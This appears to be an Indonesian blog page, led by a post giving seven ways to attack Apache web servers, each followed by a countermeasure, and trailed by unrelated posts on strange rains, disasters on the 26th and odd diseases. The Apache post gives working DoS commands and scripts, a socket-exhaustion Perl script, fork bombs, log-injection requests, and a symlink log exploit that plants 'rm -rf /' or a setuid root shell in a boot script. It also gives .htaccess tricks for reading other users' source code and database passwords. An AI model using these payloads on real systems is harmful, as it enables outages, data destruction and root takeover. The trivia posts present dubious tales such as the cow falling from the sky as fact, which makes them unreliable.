Selasa, 02 November 2010

7 Cara Isengi Apache

Cara 1: Brute Attack

Tipe serangan: remote, DOS.
Program-program benchmark WWW, selain dipakai untuk mengukur kinerja sesaat sebuah webserver, tentu dapat juga dipakai untuk mengirim banyak request secara simultan ke host target, dengan tujuan untuk meninggikan load mesin tujuan sedemikian rupa sehingga respon bagi klien lain menjadi amat lambat atau bahkan terhenti. Biasanya efek yang lebih diinginkan si penyerang adalah RAM menjadi habis sehingga mesin tak henti-henti melakukan swap. Ketimbang hanya menghabiskan CPU, efek swapping seperti ini umumnya lebih lama pulihnya, atau tak akan pernah pulih hingga mesin direboot.
Apache nampaknya tidak memiliki kemampuan mengatur load seperti IIS, sehingga akan terus mem-fork proses baru hingga nilai MaxClients tercapai atau hingga batas yang diizinkan oleh OS. Ini tentunya menguntungkan penyerang karena habisnya RAM akan lebih cepat tercapai.
Untuk lebih efektif menghabiskan CPU, Anda perlu memilih request mana yang kira-kira intensif CPU. Target yang umum adalah fasilitas search di situs ybs. Atau skrip CGI atau PHP yang kira-kira memerlukan cukup banyak pemrosesan, seperti mengakses database, dsb. Untuk lebih efektif menghabiskan RAM, Anda perlu mengira-ngira request yang akan menyebabkan Apache meluncurkan program lain yang besar. Server Apache yang menggunakan mod_perl cukup rentan karena ukuran proses httpd yang besar.
Banyak tool yang dapat dipakai untuk melakukan ini, antara lain ApacheBench (disertakan dalam distribusi Apache), http_load, httperf, atau berbagai tool komersial. Contoh berikut mengirimkan total 100000 request, paralel 200, ke sebuah host korban.
$ /usr/sbin/ab –n 100000 –c 200 \
  http://korban.com/cgi-bin/search?q=kata+yang+cukup+umum
Opsi-opsi lain ApacheBench bisa dilihat di manpage-nya.
Tentu saja, lebih efektif melakukan serangan ini dari mesin yang sama atau jaringan lokal, karena waktu tunda karena latensi jaringan minimal. Jika mesin server yang diserang cukup bertenaga CPU besar, maka mungkin saja lebih lama waktu yang dihabiskan untuk mentransfer data dari program Anda dari/ke server. httperf memiliki opsi bagus untuk mengeset timeout. Kita dapat mengecilkan nilai ini agar sebelum server yang cepat itu memberi reply, kita sudah memutuskan koneksi karena timeout. Contoh:
$ httperf --hog --server korban.com --port 80 \
          --uri /cgi-bin/search.cgi?q=bla+bla --rate 100 \
          --timeout 0.001 --http-version 1.0
Pada contoh di atas, kita mengeset timeout ke nilai yang cukup kecil, 1 ms.

Solusi 1

Pada dasarnya serangan murni DOS seperti ini sulit diatasi, kecuali Anda melakukan tindakan identifikasi terhadap pelaku dan pemblokiran akses melalui firewall atau mekanisme kontrol akses Apache (Order, Allow from, Deny from).
Hal yang paling penting, pastikan RAM mesin Anda cukup untuk perkiraan beban yang diharapkan. Lakukan dulu simulasi dengan tool-tool benchmark sebelum orang lain melakukannya. Jika RAM Anda ternyata kurang, kecilkan juga MaxClients agar jika Apache Anda sibuk dan proses induknya beranak-pinak, maka memori Anda tidak habis semua untuk anak-anak Apache ini.
Terdapat juga satu modul Apache yang mungkin dapat membantu membatasi klien, yaitu mod_limitipconn. Modul ini mencatat IP klien-klien terakhir dan membatasi jumlah koneksi untuk tiap IP. Fungsionalitas seperti ini juga mudah dibuat jika Anda menguasai mod_perl atau mod_python misalnya.

Cara 2: Menggantung Soket

Tipe serangan: remote, DOS. Kadang disebut juga serangan tipe timeout.
Apache dikenal memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi bawaan yang diberikan oleh Apache Software Foundation maupun di distro-distro Linux adalah MaxClients sebesar 150. Ini berarti, hanya 150 koneksi yang diizinkan ke sebuah server Apache, atau maksimal 150 klien. Jumlah klien dapat sedikit banyak kurang dari angka tersebut, karena sebuah browser bisa saja mengirimkan 4 request simultan dengan koneksi terpisah-pisah.
Dibanding cara sebelumnya, cara menggantung soket ini lebih halus. Setelah konek, program benchmark kita hanya diam dan tidak melakukan apa-apa. Server Apache masih akan menunggu selama waktu yang ditentukan oleh direktif TimeOut (default 5 menit). Selama waktu tunda ini, soket TCP tetap “menggantung” dan tak dapat dipakai untuk klien lain. Jika kita mengirimkan request simultan cukup banyak, maka batasan klien maksimum Apache akan tercapai dan hasilnya, klien lain akan tertunda dan bila backlog TCP terlampaui, terjadi penolakan koneksi sehingga seolah-olah tampak server di seberang itu tewas.
Berikut salah satu cara sederhana menggantung soket di server:
perl -MIO::Socket -e'$|++;
  for(1..1300){
    $fh{$_}=new IO::Socket::INET
      PeerAddr=>"korban.com",
      PeerPort=>80,
      Proto=>"tcp"
    or die;print "$_\n"}
'
Lakukan dari beberapa login shell atau beberapa komputer untuk satu tujuan korban.com. Perhatikan apa yang terjadi. Selama Anda menggantung habis soket, klien lain akan sulit sekali mendapat respon dari Apache.

Solusi 2

Modul mod_limitipconn dapat dipakai pula di sini untuk membatasi IP penyerang membuat banyak koneksi sekaligus dengan server kita.
Perbesar kapasitas jumlah soket yang dapat dibuka simultan oleh OS. Di Linux, ini dilakukan dengan mengeset nilai-nilai di /proc/sys/fs/{file-max,inode-max}. Lihat dokumentasi Documentation/filesystems/proc.txt di source code Linux Anda untuk rinciannya. Nilai bawaan Linux memang cukup kecil. Anda sebaiknya memperbesar hingga 16k atau lebih.
Selain itu, cara-cara berikut dapat memperbesar ketersediaan koneksi TCP di server Anda. Intinya adalah jangan membiarkan koneksi jangka panjang berlama-lama.
Kecilkan nilai TimeOut. Menurut penulis lima menit memang kurang masuk akal bagi Apache. Kecilkan menjadi 1 menit saja. Situs supersibuk seperti Google misalnya, memiliki nilai timeout yang relatif rendah.
Bila server Anda juga sibuk dan koneksi simultan pun tinggi, maka ada baiknya mematikan KeepAlive untuk memperbesar ketersediaan koneksi TCP. Menyalakan KeepAlive memang meningkatkan kecepatan respon bagi klien, tapi ini meningkatkan jumlah soket yang “tergantung”. Anda dapat melihat dengan jelas di halaman status Apache.
Selain limit dari OS, limit dari Apache sendiri perlu ditingkatkan. Jumlah koneksi maksimum bawaan Apache 256. Ini dapat diperbesar tapi Anda perlu mengkompile ulang dan mengeset OS Anda agar mengizinkan sebuah proses beranak lebih dari jumlah tersebut. Demi mempersingkat artikel ini, penulis tidak akan membeberkan caranya secara rinci. Petunjuk: cari string HARD_SERVER_LIMIT di httpd.h.
Perkecil pula jumlah maksimum deskriptor file yang dapat diciptakan oleh user. Tambahkan baris ‘ulimit -n 32’ misalnya, di /etc/profile.
Salah satu cara lain yang populer untuk memperbesar kapasitas jumlah koneksi Apache adalah dengan memasang proxy depan. Squid misalnya, dalam mode accelerator http. Karena Squid modelnya proses tunggal dan menggunakan select(2), maka kapasitas Squid lebih besar dari Apache. Jadi Apache dilindungi dari klien-klien penggantung atau lambat. Klien-klien ini akan menggantung di proses Squid, bukan Apache. Juga karena keterbatasan ruang, ini tidak dibahas lebih lanjut.

Cara 3: Mengacaukan Statistik Web

Tipe serangan: remote, perusakan data, eksploit input.
Ada satu kelemahan Apache yang penulis rasakan, yaitu tidak memroses karakter kutip dalam string Referrer dan User-Agent yang dikirimkan oleh klien. Ini berarti klien dapat memformulasi inputnya secara hati-hati untuk merusak format baris log akses.
Jenis serangan ini tidak betul-betul berbahaya atau bahkan mengganggu kerja Apache, namun cukup menyebalkan karena dapat mengacaukan rata-rata software statistik Web. Berikut ini format log Apache combined (semua dalam satu baris):
11.11.11.11 - - [31/Aug/2001:02:01:56 +0700] "GET /index.shtml HTTP/1.1
+" 200 12152 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
Field-fieldnya, dipisahkan oleh spasi dan dapat dikutip, adalah sbb: host remote, remote logname (jika ada indentd), username (jika dikenai Basic Authentication), waktu request, baris pertama request, kode respon, jumlah byte di bodi respon (jika objek statik, sama dengan ukuran file yang dikirim), Referer, dan User-Agent. Definisinya bisa dilihat di baris LogFormat di httpd.conf.
Kutip ganda dalam baris request ternyata tidak di-filter atau di-escape. Maka kita dapat mengacaukan field-field berikutnya dengan memasukkan kutip ini. Terutama yang ingin kita isengi kali ini adalah jumlah byte di bodi respon.
Cobalah konek ke server target dan lakukan hal berikut:
$ telnet korban.com 80Trying 22.22.22.22...
Connected to korban.com.
Escape character is '^]'.
GET / HTTP/1.0" 200 1000000000 "-
Host: korban.com
(tekan Enter sekali lagi)
Apa yang akan muncul di baris log server?
11.11.11.11 - - [31/Aug/2001:17:13:12 +0700] "GET / HTTP/1.0" 200 10000
+00000 "-" 200 14173 "-" "-"
Program-program statistik Web (termasuk Webalizer, WebTrends, dan Wusage yang telah penulis coba) mau bekerja dengan baris log ini dan menafsirkan jumlah byte respon di field ketujuh ciptaan kita dengan baik. Padahal sebetulnya jumlah byte respon tidak satu miliar byte, melainkan hanya sekitar 14k. Namun field asli telah tergeser ke field sepuluh. Ini berkat Apache yang meloloskan baris request nakal kita hingga ke file log.
Akibat dari perbuatan ini dapat bermacam-macam. Si pemilik situs senang karena situsnya sekilas terlihat ramai dikunjungi, bingung, atau sedih karena didenda ekstra oleh webhosternya.
Field kedua dan ketiga juga tidak dikutip dan bisa dimanipulasi. Silakan coba kombinasi request lain.
Program statistik Web Webalizer juga ternyata tidak melakukan HTML-escaping pada field username, sehingga kita bisa menyuntikkan kode-kode Javascript untuk menyebabkan serangan potensial cross-site scripting. Jika sebuah halaman Web mengeluarkan kotak dialog password, cobalah masukkan kode Javascript di field username. Tentu saja ini bukan kesalahan Apache.

Solusi 3

Patch Apache dengan avoid_nasty_characters_in_access_log.patch, lalu kompile ulang. Misalkan Anda memiliki tarball apache_1.3.20.tar.gz. Lakukan hal berikut:
$ tar xfz apache_1.3.20.tar.gz
$ cd apache_1.3.20
$ patch -p1 < \
    ../apache_1.3.14-avoid_nasty_characters_in_access_log.patch$ ./configure (masukkan opsi-opsi Anda)
$ make all install
Cara melakukan patch lainnya nanti sama seperti ini. Patch yang penulis buat ini akan mengubah semua kutip ganda (“) yang terdapat dalam baris request—dan field-field rawan lainnya—menjadi kutip tunggal(‘), sehingga tidak mengganggu pembatas antarfield. Ada pendekatan lain yang bisa dilakukan, misalnya menghilangkan kutipnya sama sekali, atau meng-escape-nya menjadi \”, namun cara pertama yang menurut penulis paling sederhana dan kompatibel dengan program-program pengolah log.

Cara 4: Symlink Log

Tipe serangan: lokal, perusakan data, eksploit root.
Jika server Anda melayani banyak virtualhost milik user-user yang berbeda, umumnya tiap virtualhost diberi log akses dan log error sendiri. Misalnya ditaruh di /home/namauser/logs/access.log dan /home/namauser/logs/error.log. Jika Anda tidak berhati-hati, user dapat memanipulasi file log. Meskipun pemilik file log mungkin saja root, namun Anda perlu memperhatikan pemilik dari direktori /home/namauser/logs. Jika pemilik direktori logs/ adalah si user, maka user tetap dapat menghapus file-file log milik root tadi. Tidak percaya? Coba saja:
# cd /home/penjahat
# mkdir logs && chown penjahat.penjahat logs# cd logs# touch error.log
Sekarang, sebagai user penjahat, lakukan:
$ cd /home/penjahat/logs$ rm error.log
Kok bisa begitu? Memang demikianlah sistem permission di Unix. Si pemilik direktori memang berhak menentukan file-file apa saja yang berada di dalamnya. Tentu saja si penjahat tidak boleh memodifikasi isi error.log, tapi menghapus atau mengganti namanya boleh.
Nah, bagaimana bila si penjahat menghapus error.log semula, lalu membuatnya jadi symlink ke file lain? Ingat, proses induk Apache umumnya berjalan sebagai root karena harus menambatkan diri ke port 80. Dan penulisan log dilakukan oleh proses induk! Ini berarti, si penjahat jadi dapat melakukan append ke file manapun di filesystem. Merusak database MySQL (symlink ke file .MYD atau .MYI misalnya), file /etc/passwd, log milik user lain, dsb. Kita tinggal menunggu admin melakukan kill -HUP atau me-restart Apache, maka file-file yang menjadi tujuan symlink akan dikotori oleh log akses atau log error. Ngeri ya?
Tadi ditulis bahwa serangan ini dapat menjadi eksploit root, bagaimana caranya? Pertama-tama, mari kita cari perintah standar di Unix yang merupakan skrip shell dan biasanya dijalankan oleh root. Syaratnya, skrip shell ini tidak boleh diakhiri dengan exec atau exit, agar jika kita menambahkan satu baris di akhir file, maka baris tersebut masih bisa dieksekusi. Penulis melihat sistem RedHat 6.2 dan mengamati file-file berikut memenuhi syarat:
  • /etc/rc.d/rc.local atau /etc/rc.d/rc.sysinit (akan dijalankan di awal boot sistem
  • /etc/cron.*/*
  • /usr/bin/groups
  • /bin/vimtutor, /usr/bin/autoconf, /usr/sbin/makewhatis, /usr/bin/zless, dst. (tidak selalu oleh root)
Sekarang, symlink-lah access.log ke salah satu file di atas—misalnya /etc/rc.d/rc.local—, tunggu sampai Apache atau seluruh sistem direstart. Setelah itu, lakukan hal berikut:
$ telnet localhost 80
GET "; rm -rf /; # HTTP/1.0
(tekan Enter sekali lagi)
Hasilnya, sebuah baris akan ditambahkan ke /etc/rc.d/rc.local. Sekarang kita perlu menunggu sekali lagi sampai server direboot. Atau jika Anda tak sabar, lakukan DOS hingga sistem terpaksa direboot. Baris terakhir di rc.local pada gilirannya akan dieksekusi.
127.0.0.1 - - [31/Aug/2001:17:13:12 +0700] "GET "; rm –rf /; # HTTP/1.0
+" 200 14173 "-" "-"
Di mata shell, baris di atas terdiri dari tiga perintah yang dibatasi oleh tanda titik-koma. Perintah pertama tentu saja tidak berarti apa-apa bagi shell, malah mengakibatkan kesalahan. Tapi perintah kedua, rm -rf /, tentu semua orang sudah kenal kan?
Tentu saja menghapus seluruh filesystem kurang kreatif dan asyik, jadi perintah rm ini bisa kita ganti dengan perintah lain seperti (semua satu baris, sisipkan dalam request HTTP seperti yang sebelumnya):
echo -e '#!/usr/bin/perl\n;undef %ENV;$<=$>;$(=$);exec qq(/bin/bash);'+ > /home/penjahat/.bash; chmod 4755 /home/penjahat/.bash
Perintah di atas akan membuat sebuah skrip setuid root di /home/penjahat/.bash. Sim salabim, akses root.

Solusi 4

Sudah jelas: jangan biarkan user dapat memanipulasi file log. Agar aman, jangan taruh file log di bawah direktori home user, karena direktori home user sudah pasti pemiliknya adalah si user.
Tidak ada ruginya menerapkan patch di Solusi 3, agar user tidak dapat seenaknya mengirimkan kutip penutup ke log akses.

Cara 5: Bermain-Main dengan .htaccess

Tipe serangan lokal, DOS, pencurian data.
Jika Anda memiliki akses lokal dan diperbolehkan menulis .htaccess sendiri, ada berbagai hal menarik yang bisa dicoba. .htaccess merupakan perpanjangan dari httpd.conf, yaitu konfigurasi Apache di tiap tingkat direktori.
Misalkan file-file situsku.com ditaruh sebagai milik user situsku di /home/situsku/www.
Apache tidak membatasi ukuran .htaccess, sehingga Anda dapat meluncurkan DOS dengan membuat file .htaccess yang besar.
$ cd /home/situsku/www$ perl -e'print "# allow from all\n" x 200_000' > .htaccess
Baris di atas akan menulis sebuah file akses berukuran sekitar 3MB. Cobalah mengakses halaman depan situsku.com dari jaringan lokal. Jika respon menjadi lambat, maka permainan kita bisa berlanjut. Jika tidak, maka server telah dikonfigurasi untuk mengabaikan .htaccess.
Kita dapat melipatgandakan efek ini dengan membuat banyak tingkat direktori, atau loop direktori. Apache pun memperbolehkan .htaccess berupa symlink, sehingga kita dapat melakukan seperti ini:
$ cd /home/situsku/www$ mkdir www2$ cd www2
$ ln -s ../.htaccess .htaccess
Akses ke www2 akan semakin lambat karena Apache memroses dulu .htaccess di www/, baru ke www2. Demikian seterusnya.
Apache sebelum 1.2.5 belum mengecek tipe file .htaccess. Sehingga dapat diserang dengan DOS seperti berikut (contoh di bawah untuk .htpasswd):
AuthType Basic
AuthName DoS Attack
AuthUserFile /dev/zero
require valid-user
Ketika mencoba membaca file password dan mencari tanda titik dua pembatas username dan password, Apache akan tersesat di rimba nol selamanya, dan menghabiskan CPU dan RAM.
Apache setelah 1.2.5 mengecek hal ini, namun belum mengecek fifo atau pipa bernama. Kita dapat membuat .htaccess sebagai file pipa bernama:
$ mknod .htaccess p
Dan saat Apache mencoba membaca file akses ini, ia akan menunggu selamanya, karena tidak ada yang menulis ke pipa kita tadi. Masukkan URL ke direktori yang berisi pipa ini di browser berulang kali, maka proses Apache lama-lama akan habis karena masing-masing tergantung membaca .htaccess.
Berbagai kelemahan konfigurasi lain juga dapat dimanfaatkan melalui .htaccess. Misalnya, jika AllowOverride FileInfo aktif dan webserver memiliki mod_status, maka berikan .htaccess berikut untuk melihat halaman status Apache:
<Files /server-status>
SetHandler server-status
</Files>
Halaman status ini berguna untuk mengetahui tingkat kesibukan Apache Anda, dan juga bisa digunakan oleh penyerang agar lebih efektif dalam melakukan tugasnya.
Atau, jika Options FollowSymlinks hidup, Anda dapat melihat source code CGI/PHP user lain. Misalnya, user yang ingin diintip adalah korban. Perintah berikut dimasukkan oleh user penjahat.
$ cd /home/penjahat/www$ mkdir korban; cd korban$ ln -s /home/korban/www www$ echo -e "
directoryindex none
sethandler default-handler
forcetype text/plain" > .htaccess
Akses direktori /home/penjahat/www/korban/www dari browser. Maka Anda akan melihat seluruh file www milik korban sebagai source. Anda dapat mencuri program yang berharga, password database, dsb.
Ada beberapa kombinasi menarik lainnya dalam bermain-main dengan .htaccess. Silakan cari dan temukan sendiri.

Solusi 5

Nomor satu, apakah Anda membutuhkan .htaccess? Jika tidak, matikan. AllowOverride None. Semua masalah beres. Bukan hanya sistem lebih aman dari user, kinerja Apache juga akan meningkat. Lanjut ke Cara 6.
Jika Anda perlu memberikan akses membuat .htaccess bagi user, maka terapkan patch ini: limit_htaccess.patch. Patch tersebut dapat membatasi kenakalan user dengan memperkenalkan tiga direktif baru.
  • LimitAccessFileSize, untuk membatasi ukuran maksimum .htaccess. Perhatikan bahwa nilai standarnya adalah 8k. Untuk mematikan pembatasan ukuran, berikan nilai 0.
  • LimitAccessFileType, untuk membatasi jenis file yang diperbolehkan. Misalnya, kita hanya mengizinkan file biasa dan tidak pipe, soket, device, atau bahkan symlink. Maka tambahkan baris LimitAccessFileType regular ke httpd.conf Anda.
  • LimitAccessFileToRoot, untuk mewajibkan .htaccess dimiliki root. Ini berarti, Apache tetap dapat menjalankan .htaccess, tapi si user tidak diperbolehkan membuatnya sendiri. Anda dapat membuat antarmuka Web semacam control panel misalnya, agar user dapat membuat .htaccess, tapi hanya perintah-perintah tertentu saja dalam jumlah terbatas.
Berikan juga direktif Options -FollowSymlinks jika Anda ingin mencegah orang agar tidak dapat membuat loop direktori.
Seleksi perintah-perintah yang boleh diberikan di .htaccess melalui direktif AllowOverride. Misalnya, jika Anda menggunakan mod_perl, sangat tidak dianjurkan menghidupkan AllowOverride FileInfo, karena si user dapat membuat .htaccess untuk menjalankan handler Perl sendiri, yang berjalan sebagai user Apache dan memiliki akses ke isi perut webserver.

Cara 6: Membuat Skrip DOS

Tipe serangan: lokal, DOS.
Pada dasarnya mirip dengan cara pertama, namun kini Anda memiliki kebebasan untuk membuat skrip yang bisa dengan cepat menghabiskan resource. Tentu saja Anda perlu diizinkan membuat skrip CGI atau PHP sendiri. Satu yang paling sederhana, fork bomb, untuk memenuhi tabel proses dan menghabiskan RAM:
#!/usr/bin/perl
fork while 1;
Atau, mari habiskan CPU:
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i;
Atau, mari habiskan deskriptor file:
#!/usr/bin/perl
while (++$i) { open $f{$i}, "/bin/ls"; }
Atau, mari habiskan memori lebih cepat:
#!/usr/bin/perl
for (1..20) { fork or last }
while (++$i) { $h{$i} = "X" x 0xff; }
Panggillah skrip ini beberapa kali dari browser agar lebih terasa efeknya.
Sebetulnya serangan pun dapat remote, asalkan kita menemukan skrip bodoh yang bisa dimanfaatkan untuk menyuntikkan skrip kita ini menembus shell atau interpreter Perl/PHP.

Solusi 6

Ada patch bagi Linux yang berguna untuk mendeteksi ledakan proses anak dan segera mematikan proses induknya. Anda bisa mencarinya di Freshmeat, Fork Bomb Defuser. Namun hati-hati jika skrip Anda berjalan di dalam proses Apache (mod_php, mod_perl), sebab dapat dimanfaatkan oleh si penyerang untuk justru membunuh Apache itu sendiri.
Kenakan pembatasan resource pada skrip-skrip CGI. Lihatlah dokumentasi Apache untuk direktif-direktif berikut: LimitRequestBody, LimitRequestFields, LimitRequestFieldSize, LimitRequestLine, RLimitCPU, RLimitMEM, RLimitNPROC.
Jika server Anda dipakai oleh banyak user, lebih baik wrap eksekusi CGI agar risiko ditanggung oleh tiap user, bukan oleh user Apache Anda semata. Jalankan PHP dengan safe_mode dan safe_mode_exec_dir.
Karena tindakan DOS seperti ini amat menyebalkan dan murahan, tegaskan bahwa Anda amat tidak menyukai tindakan ini, dan kenakan sanksi yang berat pada user yang, baik iseng maupun dengan sengaja, melakukan kegiatan DOS seperti ini.

Cara 7: Memenuhi Log

Tipe serangan remote atau lokal, DOS, memenuhi disk.
Root di Unix secara bawaan tidak terbatas aksesnya, termasuk tidak dikenai kuota disk, dsb. Lewat skrip CGI, kita dapat mengalirkan data agar kepada root sehingga ditulis file log error misalnya.
#!/usr/bin/perl
print STDERR "X" x (1024*1024);
Program CGI pendek di atas, jika dijalankan lewat webserver, akan mengirim 1MB data ke log error. Lakukan berulang kali, maka Anda bisa membayangkan apa yang akan terjadi.
Serangan ini juga bisa dilakukan secara remote, dengan mengirim baris request, header User-Agent dan Referer yang panjang-panjang; semua ini umumnya akan bermuara di log akses. Namun tentu serangan lokal lebih efisien.

Solusi 7

Yang pasti, pertama-tama pisahkan partisi log Anda dari yang lain, agar jika log penuh—sesuatu hal yang sering terjadi—maka aktivitas lainnya tidak terhenti begitu saja.
Seperti biasa, tindakan DOS seperti ini agak dilematis untuk diatasi. Anda bisa mematikan error_log sama sekali, atau mengeset LogLevel ke tingkat crit ke atas, tapi itu berarti Anda akan kehilangan pemberitahuan even-even lainnya. Atau Anda dapat melempar stderr ke stdout—seperti yang dilakukan oleh cgiwrap—tapi konsekuensinya pemakaian bandwidth sedikit meningkat: pesan dari stderr ke disk kini berpindah ke jaringan, serta dapat membocorkan informasi seperti password database.
Anda dapat mengeset file log error agar dimiliki oleh user, bukan root, agar terkena kuota dan terbatasi ukurannya. Namun ini berarti direktori penampung file log tersebut jangan boleh bisa ditulisi oleh si user, agar tidak bisa diisengi ala Cara 4.
Atau Anda dapat mengeset pemilik log error sebagai user khusus lain yang diberi kuota.
Jika Anda memahami C dan source code Apache, bisa pula mencoba membatasi ukuran log yang dapat diproduksi per skrip atau per jangka waktu tertentu, meski tentunya ini pun berarti user Anda kehilangan sebagian informasi.

10 Hujan Paling Aneh Sepanjang Sejarah

1 Hujan Laba-Laba di Argentina
 

Hujan Laba-Laba
 
Pada tanggal 6 April 2007, laba-laba dalam jumlah yang sangat banyak berjatuhan dari langit propinsi Salta, Argentina. Pada waktu itu, Christian Oneto Gaona dan teman-temannya memutuskan untuk bepergian ke Propinsi Salta selama liburan. Mereka mulai mendaki Gunung San Bernardo dan dua jam kemudian, mereka menemukan tanah di sekitar mereka diselimuti oleh laba-laba dengan berbagai warna, dengan panjang sekitar 4 inci. Semakin naik ke puncak gunung semakin banyak laba-laba yang mereka temukan. Mereka mencari sumber laba-laba tersebut dan alangkah terkejutnya mereka melihat begitu banyak laba-laba yang berjatuhan dari langit. (berita lengkap disini) 2. Sapi yang Jatuh dari Langit di Laut Jepang
 

 
Pada tahun 1997 sebuah kapal nelayan Jepang diselamatkan di Laut Jepang. Mereka mengklaim bahwa seekor sapi jatuh dari langit dan menimpa perahu mereka sehingga menyebabkannya tenggelam. Para anggota kru itu langsung dipenjarakan karena dikira mengada-ada. Sekitar 2 pekan kemudian, Angkatan Udara Rusia menginformasikan Pemerintah Jepang bahwa kru dari salah satu kapal kargonya telah mencuri seekor sapi dan menempatkannya bukan di tempat khususnya di pesawat. Karena itu si Sapi mengamuk saat kapal sedang terbang sehingga membuat pesawat oleng tak terkendali. Untuk menyelamatkan peswat dan diri mereka, pada ketinggi sekitar 30.000 kaki, kru tersebut terpaksa mendorong jatuh sapi tersebut saat melintasi laut Jepang. Wah… ternyata sapi dari pesawat. Tetapi ada daging beneran yang jatuh dari langit pada waktu yagn lain (lihat nomor 10). 3. Hujan darah di Kolombia
 

 
Pada tahun 2008, hujan berwarna merah yang dipastikan oleh bakteriolog setempat sebagai darah jatuh pada sebuah komunitas kecil di La Sierra, Choco. Sebagian sampel diambil dan analisis, dan hasilnya menunjukkan bahwa air itu darah. Orang yagn dituakan di dusun tersebut mengatakan bahwa ini merupakan tanda dari Tuhan bahwa manusia harus menghentikan perbuatan-perbuatan dosa yang mereka lakukan. 4. Hujan Star Jelly di Skotlandia
 


 
Pada tahun 2009, hujan jelly terjadi di Skotlandia. Para ilmuwan yang tergabung dalam National Geographic melakukan tes pada benda tersebut, tetapi mereka tidak menemukan adanya DNA di dalamnya. Teori pun bermuncul tentang asal usul star jelly ini termasuk yang mengatakan bahwa itu merupakan ovarium katak yang dimuntahkan oleh elang karena tidak dapat dicerna. Tetapi jumlahnya sangat banyak. 5. Hujan cacing yang jatuh dari langit di USA
 

 
Salah seorang pegawai kepolisian, Eleanor Beal baru saja melintasi jalan untuk pergi bekerja ketika sesuatu terjatuh dari langit. Bukan langit yang runtuh, tetapi yang jatuh itu cacing, kata dia. Dari mana asalnya masih menjadi misteri, tetapi ada yang meyakini bahwa semburan air yang berjarak kurang dari lima mil pada saat yagn sama di dekat Lacassine Bayou bisa menjadi penyebabnya. 6. Salju berwarna-warni jatuh di Siberia
 

 
Di daerah Omsk, 1400 mil ke timur Moskow, salju berwarna orange, kuning, dan hijauh jatuh disana pada tahun 2007. 7. Hujan ikan di Australia
 

 
Kejadian ini belum berselang. Dari langit di Lajamanu Australia, ribuan ikan terjatuh dari langit selama badai hujan hebat di kawasan itu.Penduduk setempat cukup terkejut akan fenomena ini, bahkan ada yang menyebut itu ikan-ikan yang aneh, beberapa diantaranya masih hidup bahkan setelah jatuh ke tanah atau genangan air. 8. Hujan Kecebong di Ishikawa, Jepang
 

 
Pada bulan Juni 2009, menjelang musim hujan, daerah Ishikawa Jepang kejatuhan kecebong dari langit dalam jumlah yang sangat banyak. Yang membuat heran adalah di daerah ini tidak terjadi angin puting beliung ataukah angin kencang yang dapat mengangkat ikan dan benda di air lainnya ke darat. Cuaca juga bagus. Seorang pria 55-tahun di kota Nano tertimpa hujan kecebong yang menutupi luas area sampai radius 10 meter. 9. Hujan Burung Jalak di Inggris
 

 
Di kampung Somerset, Coxley, dekat Wells, ratusan burung jalak berjatuhan dari langit tepat di kebun Julie Knight pada Maret 2010. 10. Hujan daging segar di USA
 

 
Pada tanggal 9 Maret 1876, serpihan-serpihan daging jatuh di dekat rumah Allen Coruch, yang tinggal di dekat Olympian Springs. Daging-daging ini sampai menutupi tanah seluas 100 x 50 yard. Langit dalam keadaan cerah pada waktu itu, dan Allen mengatakan daging-daging ini terjatuh seperti kepingan salju. Dua lelaki yang mencicipi daging itu mengatakan bahwa daging itu bukan daging domba ataupun daging rusa.

Ada apa dengan tanggal 26?

  • 26 Jan 1531 gempa bumi di Lisbon, Portugal, 30.000 orang tewas
  • 26 Jan 1700 gempa di Laut Pasifik, dari Vancouver Island, Southwest Canada off British Columbia hingga Northern California, Pacific Northwest,USA. Dikenal sebagai megathrust earthquake.
  • 26 Jul 1805 gempa bumi di Naples, Calabria, Italy, 26.000 orang tewas
  • 26 Agt 1883 Gunung Krakatau meletus, 36.000 orang diperkirakan tewas
  • 26 Des 1861 gempa bumi di Egion, Yunani
  • 26 Mar 1872 gempa bumi di Owens Valley, USA
  • 26 Agt 1896 gempa bumi di Skeid, Land, Islandia
  • 26 Nop 1902 gempa bumi di Bohemia, sekarang Czech Republic
  • 26 Nop 1930 gempa bumi di Izu
  • 26 Sep 1932 gempa bumi di Ierissos, Yunani
  • 26 Des 1932 gempa bumi di Kansu, Cina, 70.000 orang tewas
  • 26 Okt 1935 gempa bumi di Colombia
  • 26 Des 1939 gempa bumi di Erzincan, Turki, 41.000 orang tewas
  • 26 Nov 1943 gempa di Tosya Ladik, Turki
  • 26 Des 1949 gempa bumi di Imaichi, Jepang
  • 26 Mei 1957 gempa di Bolu Abant, Turki
  • 26 Mar 1963, gempa bumi di Wakasa Bay, Jepang
  • 26 Jul 1963 gempa bumi di Skopje, Yugoslavia, 1.000 orang tewas
  • 26 Mei 1964 gempa bumi di S. Sandwich Island
  • 26 Jul 1967 gempa bumi di Pulumur, Turki
  • 26 Sep 1970 gempa bumi di Bahia Solano, Colombia
  • 26 Jul 1971 gempa bumi di Solomon Island
  • 26 Apr 1972 gempa bumi di Ezine, Turki
  • 26 Mei 1975 gempa bumi di N. Atlantic
  • 26 Mar 1977 gempa bumi di Palu, Turki
  • 26 Des 1979 gempa bumi di Carlisle, Inggris
  • 26 Apr 1981 gempa bumi di Westmorland, USA
  • 26 Mei 1983 gempa bumi di Nihonkai, Chubu, Jepang
  • 26 Jan 1985 gempa bumi di Mendoza, Argentina
  • 26 Jan 1986 gempa bumi di Tres Pinos, USA
  • 26 Apr 1992 gempa bumi di Cape Mendocino, California, USA
  • 26 Okt 1997 gempa bumi di Italia
  • Tahun 2000 – kini
    • Tsunami di Aceh tanggal 26 Desember’04
    • Gempa Jogja 26 Mei 2006
    • Tasik gempa 26 Juni 2010
    • Tsunami Mentawai 26 Oktober 2010
    • Merapi Meletus 26 Oktober 2010.

8 Penyakit Aneh di Indonesia

1. Dede Si Manusia Pohon

Dede, seorang nelayan mengalami luka gores saat masih remaja. Anehnya, setelah itu beberapa bagian tumbuhnya ditumbuhi sejenis kutil nyerupai akar pohon.

Kondisi Dede (35 tahun), seorang nelayan, sungguh sangat mencengangkan para ahli medis ketika melihat kutil-kutil seperti “akar pohon” tumbuh di lengan dan kakinya. Menurutnya, keadaan bagian tubuhnya itu mulai terjadi perubahan setelah lututnya tergores semasa remaja dulu.
Masalah yang dialami Dede, menurut Gaspari, ia hanya memiliki sifat genetik yang angka sehingga menghalangi sistem kekebalan tubuh. Oleh karena itu, virus tersebut menguasai “mesin seluler” sel-sel kulitnya sehingga terbentuklah kutil-kutil aneh dalam jumlah besar yang tumbuh seperti pohon di tangan dan kakinya.

